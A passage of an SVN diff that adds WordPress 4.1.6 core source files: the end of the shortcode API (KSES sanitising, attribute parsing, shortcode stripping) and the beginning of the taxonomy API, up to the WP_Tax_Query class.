+					// Sanitize the shortcode output using KSES.
+					$new_attr = wp_kses_one_attr( $new_attr, $elname );
+					if ( '' !== $new_attr ) {
+						// The shortcode is safe to use now.
+						$attr = $new_attr;
+					}
+				}
+			}
+		}
+		$element = $front . implode( '', $attributes ) . $back;
+		
+		// Now encode any remaining [ or ] chars.
+		$element = strtr( $element, $trans );
+	}
+	
+	$content = implode( '', $textarr );
+	
+	return $content;
+}
+
+/**
+ * Remove placeholders added by do_shortcodes_in_html_tags().
+ *
+ * @since 4.2.3
+ *
+ * @param string $content Content to search for placeholders.
+ * @return string Content with placeholders removed.
+ */
+function unescape_invalid_shortcodes( $content ) {
+        // Clean up entire string, avoids re-parsing HTML.
+        $trans = array( '&#91;' => '[', '&#93;' => ']' );
+        $content = strtr( $content, $trans );
+        
+        return $content;
+}
+
+/**
+ * Retrieve all attributes from the shortcodes tag.
+ *
+ * The attributes list has the attribute name as the key and the value of the
+ * attribute as the value in the key/value pair. This allows for easier
+ * retrieval of the attributes, since all attributes have to be known.
+ *
+ * @since 2.5.0
+ *
+ * @param string $text
+ * @return array List of attributes and their value.
+ */
+function shortcode_parse_atts($text) {
+	$atts = array();
+	$pattern = '/(\w+)\s*=\s*"([^"]*)"(?:\s|$)|(\w+)\s*=\s*\'([^\']*)\'(?:\s|$)|(\w+)\s*=\s*([^\s\'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|(\S+)(?:\s|$)/';
+	$text = preg_replace("/[\x{00a0}\x{200b}]+/u", " ", $text);
+	if ( preg_match_all($pattern, $text, $match, PREG_SET_ORDER) ) {
+		foreach ($match as $m) {
+			if (!empty($m[1]))
+				$atts[strtolower($m[1])] = stripcslashes($m[2]);
+			elseif (!empty($m[3]))
+				$atts[strtolower($m[3])] = stripcslashes($m[4]);
+			elseif (!empty($m[5]))
+				$atts[strtolower($m[5])] = stripcslashes($m[6]);
+			elseif (isset($m[7]) and strlen($m[7]))
+				$atts[] = stripcslashes($m[7]);
+			elseif (isset($m[8]))
+				$atts[] = stripcslashes($m[8]);
+		}
+	} else {
+		$atts = ltrim($text);
+	}
+	return $atts;
+}
+
+/**
+ * Combine user attributes with known attributes and fill in defaults when needed.
+ *
+ * The pairs should be considered to be all of the attributes which are
+ * supported by the caller and given as a list. The returned attributes will
+ * only contain the attributes in the $pairs list.
+ *
+ * If the $atts list has unsupported attributes, then they will be ignored and
+ * removed from the final returned list.
+ *
+ * @since 2.5.0
+ *
+ * @param array $pairs Entire list of supported attributes and their defaults.
+ * @param array $atts User defined attributes in shortcode tag.
+ * @param string $shortcode Optional. The name of the shortcode, provided for context to enable filtering
+ * @return array Combined and filtered attribute list.
+ */
+function shortcode_atts( $pairs, $atts, $shortcode = '' ) {
+	$atts = (array)$atts;
+	$out = array();
+	foreach($pairs as $name => $default) {
+		if ( array_key_exists($name, $atts) )
+			$out[$name] = $atts[$name];
+		else
+			$out[$name] = $default;
+	}
+	/**
+	 * Filter a shortcode's default attributes.
+	 *
+	 * If the third parameter of the shortcode_atts() function is present then this filter is available.
+	 * The third parameter, $shortcode, is the name of the shortcode.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array $out The output array of shortcode attributes.
+	 * @param array $pairs The supported attributes and their defaults.
+	 * @param array $atts The user defined shortcode attributes.
+	 */
+	if ( $shortcode )
+		$out = apply_filters( "shortcode_atts_{$shortcode}", $out, $pairs, $atts );
+
+	return $out;
+}
+
+/**
+ * Remove all shortcode tags from the given content.
+ *
+ * @since 2.5.0
+ *
+ * @uses $shortcode_tags
+ *
+ * @param string $content Content to remove shortcode tags.
+ * @return string Content without shortcode tags.
+ */
+function strip_shortcodes( $content ) {
+	global $shortcode_tags;
+
+	if ( false === strpos( $content, '[' ) ) {
+		return $content;
+	}
+
+	if (empty($shortcode_tags) || !is_array($shortcode_tags))
+		return $content;
+
+	$content = do_shortcodes_in_html_tags( $content, true );
+
+	$pattern = get_shortcode_regex();
+	$content = preg_replace_callback( "/$pattern/s", 'strip_shortcode_tag', $content );
+
+	// Always restore square braces so we don't break things like <!--[if IE ]>
+	$content = unescape_invalid_shortcodes( $content );
+	
+	return $content;
+}
+
+function strip_shortcode_tag( $m ) {
+	// allow [[foo]] syntax for escaping a tag
+	if ( $m[1] == '[' && $m[6] == ']' ) {
+		return substr($m[0], 1, -1);
+	}
+
+	return $m[1] . $m[6];
+}
+
+add_filter('the_content', 'do_shortcode', 11); // AFTER wpautop()
Index: /tags/4.1.6/src/wp-includes/taxonomy.php
===================================================================
--- /tags/4.1.6/src/wp-includes/taxonomy.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/taxonomy.php	(revision 33402)
@@ -0,0 +1,4403 @@
+<?php
+/**
+ * Taxonomy API
+ *
+ * @package WordPress
+ * @subpackage Taxonomy
+ * @since 2.3.0
+ */
+
+//
+// Taxonomy Registration
+//
+
+/**
+ * Creates the initial taxonomies.
+ *
+ * This function fires twice: in wp-settings.php before plugins are loaded (for
+ * backwards compatibility reasons), and again on the 'init' action. We must avoid
+ * registering rewrite rules before the 'init' action.
+ */
+function create_initial_taxonomies() {
+	global $wp_rewrite;
+
+	if ( ! did_action( 'init' ) ) {
+		$rewrite = array( 'category' => false, 'post_tag' => false, 'post_format' => false );
+	} else {
+
+		/**
+		 * Filter the post formats rewrite base.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param string $context Context of the rewrite base. Default 'type'.
+		 */
+		$post_format_base = apply_filters( 'post_format_rewrite_base', 'type' );
+		$rewrite = array(
+			'category' => array(
+				'hierarchical' => true,
+				'slug' => get_option('category_base') ? get_option('category_base') : 'category',
+				'with_front' => ! get_option('category_base') || $wp_rewrite->using_index_permalinks(),
+				'ep_mask' => EP_CATEGORIES,
+			),
+			'post_tag' => array(
+				'hierarchical' => false,
+				'slug' => get_option('tag_base') ? get_option('tag_base') : 'tag',
+				'with_front' => ! get_option('tag_base') || $wp_rewrite->using_index_permalinks(),
+				'ep_mask' => EP_TAGS,
+			),
+			'post_format' => $post_format_base ? array( 'slug' => $post_format_base ) : false,
+		);
+	}
+
+	register_taxonomy( 'category', 'post', array(
+		'hierarchical' => true,
+		'query_var' => 'category_name',
+		'rewrite' => $rewrite['category'],
+		'public' => true,
+		'show_ui' => true,
+		'show_admin_column' => true,
+		'_builtin' => true,
+	) );
+
+	register_taxonomy( 'post_tag', 'post', array(
+	 	'hierarchical' => false,
+		'query_var' => 'tag',
+		'rewrite' => $rewrite['post_tag'],
+		'public' => true,
+		'show_ui' => true,
+		'show_admin_column' => true,
+		'_builtin' => true,
+	) );
+
+	register_taxonomy( 'nav_menu', 'nav_menu_item', array(
+		'public' => false,
+		'hierarchical' => false,
+		'labels' => array(
+			'name' => __( 'Navigation Menus' ),
+			'singular_name' => __( 'Navigation Menu' ),
+		),
+		'query_var' => false,
+		'rewrite' => false,
+		'show_ui' => false,
+		'_builtin' => true,
+		'show_in_nav_menus' => false,
+	) );
+
+	register_taxonomy( 'link_category', 'link', array(
+		'hierarchical' => false,
+		'labels' => array(
+			'name' => __( 'Link Categories' ),
+			'singular_name' => __( 'Link Category' ),
+			'search_items' => __( 'Search Link Categories' ),
+			'popular_items' => null,
+			'all_items' => __( 'All Link Categories' ),
+			'edit_item' => __( 'Edit Link Category' ),
+			'update_item' => __( 'Update Link Category' ),
+			'add_new_item' => __( 'Add New Link Category' ),
+			'new_item_name' => __( 'New Link Category Name' ),
+			'separate_items_with_commas' => null,
+			'add_or_remove_items' => null,
+			'choose_from_most_used' => null,
+		),
+		'capabilities' => array(
+			'manage_terms' => 'manage_links',
+			'edit_terms'   => 'manage_links',
+			'delete_terms' => 'manage_links',
+			'assign_terms' => 'manage_links',
+		),
+		'query_var' => false,
+		'rewrite' => false,
+		'public' => false,
+		'show_ui' => false,
+		'_builtin' => true,
+	) );
+
+	register_taxonomy( 'post_format', 'post', array(
+		'public' => true,
+		'hierarchical' => false,
+		'labels' => array(
+			'name' => _x( 'Format', 'post format' ),
+			'singular_name' => _x( 'Format', 'post format' ),
+		),
+		'query_var' => true,
+		'rewrite' => $rewrite['post_format'],
+		'show_ui' => false,
+		'_builtin' => true,
+		'show_in_nav_menus' => current_theme_supports( 'post-formats' ),
+	) );
+}
+add_action( 'init', 'create_initial_taxonomies', 0 ); // highest priority
+
+/**
+ * Get a list of registered taxonomy objects.
+ *
+ * @since 3.0.0
+ * @uses $wp_taxonomies
+ *
+ * @param array $args An array of key => value arguments to match against the taxonomy objects.
+ * @param string $output The type of output to return, either taxonomy 'names' or 'objects'. 'names' is the default.
+ * @param string $operator The logical operation to perform. 'or' means only one element
+ *  from the array needs to match; 'and' means all elements must match. The default is 'and'.
+ * @return array A list of taxonomy names or objects
+ */
+function get_taxonomies( $args = array(), $output = 'names', $operator = 'and' ) {
+	global $wp_taxonomies;
+
+	$field = ('names' == $output) ? 'name' : false;
+
+	return wp_filter_object_list($wp_taxonomies, $args, $operator, $field);
+}
+
+/**
+ * Return all of the taxonomy names that are of $object_type.
+ *
+ * It appears that this function can be used to find all of the names inside of
+ * $wp_taxonomies global variable.
+ *
+ * `<?php $taxonomies = get_object_taxonomies('post'); ?>` Should
+ * result in `Array( 'category', 'post_tag' )`
+ *
+ * @since 2.3.0
+ *
+ * @uses $wp_taxonomies
+ *
+ * @param array|string|object $object Name of the type of taxonomy object, or an object (row from posts)
+ * @param string $output The type of output to return, either taxonomy 'names' or 'objects'. 'names' is the default.
+ * @return array The names of all taxonomy of $object_type.
+ */
+function get_object_taxonomies($object, $output = 'names') {
+	global $wp_taxonomies;
+
+	if ( is_object($object) ) {
+		if ( $object->post_type == 'attachment' )
+			return get_attachment_taxonomies($object);
+		$object = $object->post_type;
+	}
+
+	$object = (array) $object;
+
+	$taxonomies = array();
+	foreach ( (array) $wp_taxonomies as $tax_name => $tax_obj ) {
+		if ( array_intersect($object, (array) $tax_obj->object_type) ) {
+			if ( 'names' == $output )
+				$taxonomies[] = $tax_name;
+			else
+				$taxonomies[ $tax_name ] = $tax_obj;
+		}
+	}
+
+	return $taxonomies;
+}
+
+/**
+ * Retrieves the taxonomy object of $taxonomy.
+ *
+ * The get_taxonomy function will first check that the parameter string given
+ * is a taxonomy object and if it is, it will return it.
+ *
+ * @since 2.3.0
+ *
+ * @uses $wp_taxonomies
+ *
+ * @param string $taxonomy Name of taxonomy object to return
+ * @return object|bool The Taxonomy Object or false if $taxonomy doesn't exist
+ */
+function get_taxonomy( $taxonomy ) {
+	global $wp_taxonomies;
+
+	if ( ! taxonomy_exists( $taxonomy ) )
+		return false;
+
+	return $wp_taxonomies[$taxonomy];
+}
+
+/**
+ * Checks that the taxonomy name exists.
+ *
+ * Formerly is_taxonomy(), introduced in 2.3.0.
+ *
+ * @since 3.0.0
+ *
+ * @uses $wp_taxonomies
+ *
+ * @param string $taxonomy Name of taxonomy object
+ * @return bool Whether the taxonomy exists.
+ */
+function taxonomy_exists( $taxonomy ) {
+	global $wp_taxonomies;
+
+	return isset( $wp_taxonomies[$taxonomy] );
+}
+
+/**
+ * Whether the taxonomy object is hierarchical.
+ *
+ * Checks to make sure that the taxonomy is an object first. Then Gets the
+ * object, and finally returns the hierarchical value in the object.
+ *
+ * A false return value might also mean that the taxonomy does not exist.
+ *
+ * @since 2.3.0
+ *
+ * @param string $taxonomy Name of taxonomy object
+ * @return bool Whether the taxonomy is hierarchical
+ */
+function is_taxonomy_hierarchical($taxonomy) {
+	if ( ! taxonomy_exists($taxonomy) )
+		return false;
+
+	$taxonomy = get_taxonomy($taxonomy);
+	return $taxonomy->hierarchical;
+}
+
+/**
+ * Create or modify a taxonomy object. Do not use before init.
+ *
+ * A simple function for creating or modifying a taxonomy object based on the
+ * parameters given. The function will accept an array (third optional
+ * parameter), along with strings for the taxonomy name and another string for
+ * the object type.
+ *
+ * Nothing is returned, so expect error maybe or use taxonomy_exists() to check
+ * whether taxonomy exists.
+ *
+ * Optional $args contents:
+ *
+ * - label - Name of the taxonomy shown in the menu. Usually plural. If not set, labels['name'] will be used.
+ * - labels - An array of labels for this taxonomy.
+ *     * By default tag labels are used for non-hierarchical types and category labels for hierarchical ones.
+ *     * You can see accepted values in {@link get_taxonomy_labels()}.
+ * - description - A short descriptive summary of what the taxonomy is for. Defaults to blank.
+ * - public - If the taxonomy should be publicly queryable; //@TODO not implemented.
+ *     * Defaults to true.
+ * - hierarchical - Whether the taxonomy is hierarchical (e.g. category). Defaults to false.
+ * - show_ui - Whether to generate a default UI for managing this taxonomy in the admin.
+ *     * If not set, the default is inherited from public.
+ * - show_in_menu - Whether to show the taxonomy in the admin menu.
+ *     * If true, the taxonomy is shown as a submenu of the object type menu.
+ *     * If false, no menu is shown.
+ *     * show_ui must be true.
+ *     * If not set, the default is inherited from show_ui.
+ * - show_in_nav_menus - Makes this taxonomy available for selection in navigation menus.
+ *     * If not set, the default is inherited from public.
+ * - show_tagcloud - Whether to list the taxonomy in the Tag Cloud Widget.
+ *     * If not set, the default is inherited from show_ui.
+ * - show_admin_column - Whether to display a column for the taxonomy on its post type listing screens.
+ *     * Defaults to false.
+ * - meta_box_cb - Provide a callback function for the meta box display.
+ *     * If not set, defaults to post_categories_meta_box for hierarchical taxonomies
+ *     and post_tags_meta_box for non-hierarchical.
+ *     * If false, no meta box is shown.
+ * - capabilities - Array of capabilities for this taxonomy.
+ *     * You can see accepted values in this function.
+ * - rewrite - Triggers the handling of rewrites for this taxonomy. Defaults to true, using $taxonomy as slug.
+ *     * To prevent rewrite, set to false.
+ *     * To specify rewrite rules, an array can be passed with any of these keys
+ *         * 'slug' => string Customize the permastruct slug. Defaults to $taxonomy key
+ *         * 'with_front' => bool Should the permastruct be prepended with WP_Rewrite::$front. Defaults to true.
+ *         * 'hierarchical' => bool Either hierarchical rewrite tag or not. Defaults to false.
+ *         * 'ep_mask' => const Assign an endpoint mask.
+ *             * If not specified, defaults to EP_NONE.
+ * - query_var - Sets the query_var key for this taxonomy. Defaults to $taxonomy key
+ *     * If false, a taxonomy cannot be loaded at ?{query_var}={term_slug}
+ *     * If specified as a string, the query ?{query_var_string}={term_slug} will be valid.
+ * - update_count_callback - Works much like a hook, in that it will be called when the count is updated.
+ *     * Defaults to _update_post_term_count() for taxonomies attached to post types, which then confirms
+ *       that the objects are published before counting them.
+ *     * Defaults to _update_generic_term_count() for taxonomies attached to other object types, such as links.
+ * - _builtin - true if this taxonomy is a native or "built-in" taxonomy. THIS IS FOR INTERNAL USE ONLY!
+ *
+ * @since 2.3.0
+ * @uses $wp_taxonomies Inserts new taxonomy object into the list
+ * @uses $wp Adds query vars
+ *
+ * @param string $taxonomy Taxonomy key, must not exceed 32 characters.
+ * @param array|string $object_type Name of the object type for the taxonomy object.
+ * @param array|string $args See optional args description above.
+ * @return null|WP_Error WP_Error if errors, otherwise null.
+ */
+function register_taxonomy( $taxonomy, $object_type, $args = array() ) {
+	global $wp_taxonomies, $wp;
+
+	if ( ! is_array( $wp_taxonomies ) )
+		$wp_taxonomies = array();
+
+	$defaults = array(
+		'labels'                => array(),
+		'description'           => '',
+		'public'                => true,
+		'hierarchical'          => false,
+		'show_ui'               => null,
+		'show_in_menu'          => null,
+		'show_in_nav_menus'     => null,
+		'show_tagcloud'         => null,
+		'show_admin_column'     => false,
+		'meta_box_cb'           => null,
+		'capabilities'          => array(),
+		'rewrite'               => true,
+		'query_var'             => $taxonomy,
+		'update_count_callback' => '',
+		'_builtin'              => false,
+	);
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( strlen( $taxonomy ) > 32 ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Taxonomies cannot exceed 32 characters in length' ), '4.0' );
+		return new WP_Error( 'taxonomy_too_long', __( 'Taxonomies cannot exceed 32 characters in length' ) );
+	}
+
+	if ( false !== $args['query_var'] && ! empty( $wp ) ) {
+		if ( true === $args['query_var'] )
+			$args['query_var'] = $taxonomy;
+		else
+			$args['query_var'] = sanitize_title_with_dashes( $args['query_var'] );
+		$wp->add_query_var( $args['query_var'] );
+	}
+
+	if ( false !== $args['rewrite'] && ( is_admin() || '' != get_option( 'permalink_structure' ) ) ) {
+		$args['rewrite'] = wp_parse_args( $args['rewrite'], array(
+			'with_front' => true,
+			'hierarchical' => false,
+			'ep_mask' => EP_NONE,
+		) );
+
+		if ( empty( $args['rewrite']['slug'] ) )
+			$args['rewrite']['slug'] = sanitize_title_with_dashes( $taxonomy );
+
+		if ( $args['hierarchical'] && $args['rewrite']['hierarchical'] )
+			$tag = '(.+?)';
+		else
+			$tag = '([^/]+)';
+
+		add_rewrite_tag( "%$taxonomy%", $tag, $args['query_var'] ? "{$args['query_var']}=" : "taxonomy=$taxonomy&term=" );
+		add_permastruct( $taxonomy, "{$args['rewrite']['slug']}/%$taxonomy%", $args['rewrite'] );
+	}
+
+	// If not set, default to the setting for public.
+	if ( null === $args['show_ui'] )
+		$args['show_ui'] = $args['public'];
+
+	// If not set, default to the setting for show_ui.
+	if ( null === $args['show_in_menu' ] || ! $args['show_ui'] )
+		$args['show_in_menu' ] = $args['show_ui'];
+
+	// If not set, default to the setting for public.
+	if ( null === $args['show_in_nav_menus'] )
+		$args['show_in_nav_menus'] = $args['public'];
+
+	// If not set, default to the setting for show_ui.
+	if ( null === $args['show_tagcloud'] )
+		$args['show_tagcloud'] = $args['show_ui'];
+
+	$default_caps = array(
+		'manage_terms' => 'manage_categories',
+		'edit_terms'   => 'manage_categories',
+		'delete_terms' => 'manage_categories',
+		'assign_terms' => 'edit_posts',
+	);
+	$args['cap'] = (object) array_merge( $default_caps, $args['capabilities'] );
+	unset( $args['capabilities'] );
+
+	$args['name'] = $taxonomy;
+	$args['object_type'] = array_unique( (array) $object_type );
+
+	$args['labels'] = get_taxonomy_labels( (object) $args );
+	$args['label'] = $args['labels']->name;
+
+	// If not set, use the default meta box
+	if ( null === $args['meta_box_cb'] ) {
+		if ( $args['hierarchical'] )
+			$args['meta_box_cb'] = 'post_categories_meta_box';
+		else
+			$args['meta_box_cb'] = 'post_tags_meta_box';
+	}
+
+	$wp_taxonomies[ $taxonomy ] = (object) $args;
+
+	// register callback handling for metabox
+ 	add_filter( 'wp_ajax_add-' . $taxonomy, '_wp_ajax_add_hierarchical_term' );
+
+	/**
+	 * Fires after a taxonomy is registered.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string       $taxonomy    Taxonomy slug.
+	 * @param array|string $object_type Object type or array of object types.
+	 * @param array        $args        Array of taxonomy registration arguments.
+	 */
+	do_action( 'registered_taxonomy', $taxonomy, $object_type, $args );
+}
+
+/**
+ * Builds an object with all taxonomy labels out of a taxonomy object
+ *
+ * Accepted keys of the label array in the taxonomy object:
+ *
+ * - name - general name for the taxonomy, usually plural. The same as and overridden by $tax->label. Default is Tags/Categories
+ * - singular_name - name for one object of this taxonomy. Default is Tag/Category
+ * - search_items - Default is Search Tags/Search Categories
+ * - popular_items - This string isn't used on hierarchical taxonomies. Default is Popular Tags
+ * - all_items - Default is All Tags/All Categories
+ * - parent_item - This string isn't used on non-hierarchical taxonomies. In hierarchical ones the default is Parent Category
+ * - parent_item_colon - The same as `parent_item`, but with colon `:` in the end
+ * - edit_item - Default is Edit Tag/Edit Category
+ * - view_item - Default is View Tag/View Category
+ * - update_item - Default is Update Tag/Update Category
+ * - add_new_item - Default is Add New Tag/Add New Category
+ * - new_item_name - Default is New Tag Name/New Category Name
+ * - separate_items_with_commas - This string isn't used on hierarchical taxonomies. Default is "Separate tags with commas", used in the meta box.
+ * - add_or_remove_items - This string isn't used on hierarchical taxonomies. Default is "Add or remove tags", used in the meta box when JavaScript is disabled.
+ * - choose_from_most_used - This string isn't used on hierarchical taxonomies. Default is "Choose from the most used tags", used in the meta box.
+ * - not_found - This string isn't used on hierarchical taxonomies. Default is "No tags found", used in the meta box.
+ *
+ * Above, the first default value is for non-hierarchical taxonomies (like tags) and the second one is for hierarchical taxonomies (like categories).
+ *
+ * @since 3.0.0
+ * @param object $tax Taxonomy object
+ * @return object object with all the labels as member variables
+ */
+
+function get_taxonomy_labels( $tax ) {
+	$tax->labels = (array) $tax->labels;
+
+	if ( isset( $tax->helps ) && empty( $tax->labels['separate_items_with_commas'] ) )
+		$tax->labels['separate_items_with_commas'] = $tax->helps;
+
+	if ( isset( $tax->no_tagcloud ) && empty( $tax->labels['not_found'] ) )
+		$tax->labels['not_found'] = $tax->no_tagcloud;
+
+	$nohier_vs_hier_defaults = array(
+		'name' => array( _x( 'Tags', 'taxonomy general name' ), _x( 'Categories', 'taxonomy general name' ) ),
+		'singular_name' => array( _x( 'Tag', 'taxonomy singular name' ), _x( 'Category', 'taxonomy singular name' ) ),
+		'search_items' => array( __( 'Search Tags' ), __( 'Search Categories' ) ),
+		'popular_items' => array( __( 'Popular Tags' ), null ),
+		'all_items' => array( __( 'All Tags' ), __( 'All Categories' ) ),
+		'parent_item' => array( null, __( 'Parent Category' ) ),
+		'parent_item_colon' => array( null, __( 'Parent Category:' ) ),
+		'edit_item' => array( __( 'Edit Tag' ), __( 'Edit Category' ) ),
+		'view_item' => array( __( 'View Tag' ), __( 'View Category' ) ),
+		'update_item' => array( __( 'Update Tag' ), __( 'Update Category' ) ),
+		'add_new_item' => array( __( 'Add New Tag' ), __( 'Add New Category' ) ),
+		'new_item_name' => array( __( 'New Tag Name' ), __( 'New Category Name' ) ),
+		'separate_items_with_commas' => array( __( 'Separate tags with commas' ), null ),
+		'add_or_remove_items' => array( __( 'Add or remove tags' ), null ),
+		'choose_from_most_used' => array( __( 'Choose from the most used tags' ), null ),
+		'not_found' => array( __( 'No tags found.' ), null ),
+	);
+	$nohier_vs_hier_defaults['menu_name'] = $nohier_vs_hier_defaults['name'];
+
+	return _get_custom_object_labels( $tax, $nohier_vs_hier_defaults );
+}
+
+/**
+ * Add an already registered taxonomy to an object type.
+ *
+ * @since 3.0.0
+ * @uses $wp_taxonomies Modifies taxonomy object
+ *
+ * @param string $taxonomy Name of taxonomy object
+ * @param string $object_type Name of the object type
+ * @return bool True if successful, false if not
+ */
+function register_taxonomy_for_object_type( $taxonomy, $object_type) {
+	global $wp_taxonomies;
+
+	if ( !isset($wp_taxonomies[$taxonomy]) )
+		return false;
+
+	if ( ! get_post_type_object($object_type) )
+		return false;
+
+	if ( ! in_array( $object_type, $wp_taxonomies[$taxonomy]->object_type ) )
+		$wp_taxonomies[$taxonomy]->object_type[] = $object_type;
+
+	return true;
+}
+
+/**
+ * Remove an already registered taxonomy from an object type.
+ *
+ * @since 3.7.0
+ *
+ * @param string $taxonomy    Name of taxonomy object.
+ * @param string $object_type Name of the object type.
+ * @return bool True if successful, false if not.
+ */
+function unregister_taxonomy_for_object_type( $taxonomy, $object_type ) {
+	global $wp_taxonomies;
+
+	if ( ! isset( $wp_taxonomies[ $taxonomy ] ) )
+		return false;
+
+	if ( ! get_post_type_object( $object_type ) )
+		return false;
+
+	$key = array_search( $object_type, $wp_taxonomies[ $taxonomy ]->object_type, true );
+	if ( false === $key )
+		return false;
+
+	unset( $wp_taxonomies[ $taxonomy ]->object_type[ $key ] );
+	return true;
+}
+
+//
+// Term API
+//
+
+/**
+ * Retrieve object_ids of valid taxonomy and term.
+ *
+ * The strings of $taxonomies must exist before this function will continue. On
+ * failure of finding a valid taxonomy, it will return an WP_Error class, kind
+ * of like Exceptions in PHP 5, except you can't catch them. Even so, you can
+ * still test for the WP_Error class and get the error message.
+ *
+ * The $terms aren't checked the same as $taxonomies, but still need to exist
+ * for $object_ids to be returned.
+ *
+ * It is possible to change the order that object_ids is returned by either
+ * using PHP sort family functions or using the database by using $args with
+ * either ASC or DESC array. The value should be in the key named 'order'.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int|array $term_ids Term id or array of term ids of terms that will be used
+ * @param string|array $taxonomies String of taxonomy name or Array of string values of taxonomy names
+ * @param array|string $args Change the order of the object_ids, either ASC or DESC
+ * @return WP_Error|array If the taxonomy does not exist, then WP_Error will be returned. On success
+ *	the array can be empty meaning that there are no $object_ids found or it will return the $object_ids found.
+ */
+function get_objects_in_term( $term_ids, $taxonomies, $args = array() ) {
+	global $wpdb;
+
+	if ( ! is_array( $term_ids ) ) {
+		$term_ids = array( $term_ids );
+	}
+	if ( ! is_array( $taxonomies ) ) {
+		$taxonomies = array( $taxonomies );
+	}
+	foreach ( (array) $taxonomies as $taxonomy ) {
+		if ( ! taxonomy_exists( $taxonomy ) ) {
+			return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy' ) );
+		}
+	}
+
+	$defaults = array( 'order' => 'ASC' );
+	$args = wp_parse_args( $args, $defaults );
+
+	$order = ( 'desc' == strtolower( $args['order'] ) ) ? 'DESC' : 'ASC';
+
+	$term_ids = array_map('intval', $term_ids );
+
+	$taxonomies = "'" . implode( "', '", $taxonomies ) . "'";
+	$term_ids = "'" . implode( "', '", $term_ids ) . "'";
+
+	$object_ids = $wpdb->get_col("SELECT tr.object_id FROM $wpdb->term_relationships AS tr INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id WHERE tt.taxonomy IN ($taxonomies) AND tt.term_id IN ($term_ids) ORDER BY tr.object_id $order");
+
+	if ( ! $object_ids ){
+		return array();
+	}
+	return $object_ids;
+}
+
+/**
+ * Given a taxonomy query, generates SQL to be appended to a main query.
+ *
+ * @since 3.1.0
+ *
+ * @see WP_Tax_Query
+ *
+ * @param array $tax_query A compact tax query
+ * @param string $primary_table
+ * @param string $primary_id_column
+ * @return array
+ */
+function get_tax_sql( $tax_query, $primary_table, $primary_id_column ) {
+	$tax_query_obj = new WP_Tax_Query( $tax_query );
+	return $tax_query_obj->get_sql( $primary_table, $primary_id_column );
+}
+
+/**
+ * Class for generating SQL clauses that filter a primary query according to object taxonomy terms.
+ *
+ * `WP_Tax_Query` is a helper that allows primary query classes, such as {@see WP_Query}, to filter
+ * their results by object metadata, by generating `JOIN` and `WHERE` subclauses to be attached
+ * to the primary SQL query string.
+ *
+ * @since 3.1.0
+ */
+class WP_Tax_Query {
+
+	/**
+	 * Array of taxonomy queries.
+	 *
+	 * See {@see WP_Tax_Query::__construct()} for information on tax query arguments.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 * @var array
+	 */
+	public $queries = array();
+
+	/**
+	 * The relation between the queries. Can be one of 'AND' or 'OR'.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 * @var string
+	 */
+	public $relation;
+
+	/**
+	 * Standard response when the query should not return any rows.
+	 *
+	 * @since 3.2.0
+	 * @access private
+	 * @var string
+	 */
+	private static $no_results = array( 'join' => array( '' ), 'where' => array( '0 = 1' ) );
+
+	/**
+	 * A flat list of table aliases used in the JOIN clauses.
+	 *
+	 * @since 4.1.0
+	 * @access protected
+	 * @var array
+	 */
+	protected $table_aliases = array();
+
+	/**
+	 * Terms and taxonomies fetched by this query.
+	 *
+	 * We store this data in a flat array because they are referenced in a
+	 * number of places by {@see WP_Query}.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 * @var array
+	 */
+	public $queried_terms = array();
+
+	/**
+	 * Database table that where the metadata's objects are stored (eg $wpdb->users).
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 * @var string
+	 */
+	public $primary_table;
+
+	/**
+	 * Column in 'primary_table' that represents the ID of the object.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 * @var string
+	 */
+	public $primary_id_column;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 * @since 4.1.0 Added support for `$operator` 'NOT EXISTS' and 'EXISTS' values.
+	 * @access public
+	 *
+	 * @param array $tax_query {
+	 *     Array of taxonomy query clauses.
+	 *
+	 *     @type string $relation Optional. The MySQL keyword used to join
+	 *                            the clauses of the query. Accepts 'AND', or 'OR'. Default 'AND'.
+	 *     @type array {
+	 *         Optional. An array of first-order clause parameters, or another fully-formed tax query.
+	 *
+	 *         @type string           $taxonomy         Taxonomy being queried. Optional when field=term_taxonomy_id.
+	 *         @type string|int|array $terms            Term or terms to filter by.
+	 *         @type string           $field            Field to match $terms against. Accepts 'term_id', 'slug',
+	 *                                                 'name', or 'term_taxonomy_id'. Default: 'term_id'.
+	 *         @type string           $operator         MySQL operator to be used with $terms in the WHERE clause.
+	 *                                                  Accepts 'AND', 'IN', 'NOT IN', 'EXISTS', 'NOT EXISTS'.
+	 *                                                  Default: 'IN'.
+	 *         @type bool             $include_children Optional. Whether to include child terms.
+	 *                                                  Requires a $taxonomy. Default: true.
+	 *     }
+	 * }
+	 */
+	public function __construct( $tax_query ) {
+		if ( isset( $tax_query['relation'] ) ) {
+			$this->relation = $this->sanitize_relation( $tax_query['relation'] );
+		} else {
+			$this->relation = 'AND';
+		}
+
+		$this->queries = $this->sanitize_query( $tax_query );
+	}
+
+	/**
+	 * Ensure the 'tax_query' argument passed to the class constructor is well-formed.
+	 *
+	 * Ensures that each query-level clause has a 'relation' key, and that
+	 * each first-order clause contains all the necessary keys from `$defaults`.
+	 *
+	 * @since 4.1.0
+	 * @access public
+	 *
+	 * @param array $queries Array of queries clauses.
+	 * @return array Sanitized array of query clauses.
+	 */
+	public function sanitize_query( $queries ) {
+		$cleaned_query = array();
+
+		$defaults = array(
+			'taxonomy' => '',
+			'terms' => array(),
+			'field' => 'term_id',
+			'operator' => 'IN',
+			'include_children' => true,
+		);
+
+		foreach ( $queries as $key => $query ) {
+			if ( 'relation' === $key ) {
+				$cleaned_query['relation'] = $this->sanitize_relation( $query );
+
+			// First-order clause.
+			} else if ( self::is_first_order_clause( $query ) ) {
+
+				$cleaned_clause = array_merge( $defaults, $query );
+				$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];
+				$cleaned_query[] = $cleaned_clause;
+
+				/*
+				 * Keep a copy of the clause in the flate
